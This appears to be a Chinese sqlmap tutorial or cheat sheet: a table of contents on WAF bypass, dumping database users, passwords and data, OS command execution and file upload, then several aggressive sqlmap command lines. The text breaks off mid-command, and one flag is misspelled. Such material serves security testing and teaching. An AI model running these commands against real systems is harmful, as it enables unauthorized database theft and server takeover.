目录SqlmapSqlmap的简单用法探测指定URL是否存在WAF，并且绕过探测指定URL是否存在SQL注入漏洞查看数据库的所有用户查看数据库所有用户名的密码查看数据库当前用户判断当前用户是否有管理权限列出数据库管理员角色查看所有的数据库查看当前的数据库爆出指定数据库中的所有的表爆出指定数据库指定表中的所有的列爆出指定数据库指定表指定列下的数据爆出该网站数据库中的所有数据Sqlmap的高级用法指定脚本进行过滤探测等级和危险等级伪造 Http Referer头部执行指定的SQL语句执行操作系统命令从数据库中读取文件上传文件到数据库服务器中Sqlmap的更多用法sqlmap -r /Users/yvan/.gather/api2.1233.art.1211-163532.req -p code --level=5 --risk=3 --batch sqlmap -r request.txt -p srg --dbms=mysql --current-db --risk=3 --level=5 --fandom-agent --tamper=bluecoat --technique=bt --time-sec=10 --skip-waf sqlmap -r request.txt --level=5 --risk=3 --batch sqlmap -r request.txt --level=5 --risk=3 --batch -p name sqlmap -r request.txt --level=5 --risk=3 --batch --force-ssl --skip-urlencode sqlmap -r request.txt --dbms=mysql --current-db --risk=3 --level=5 --random-agent --tamper=bluecoat --technique=BT --time-sec=10 --skip-waf -p projectId sqlmap -r request.txt --dbms=mysql --current-db --risk=3 --level=5 --random-agent --tamper=bluecoat --proxy http://127.0.0.1:8080 --technique=BT --time-sec=10 --skip-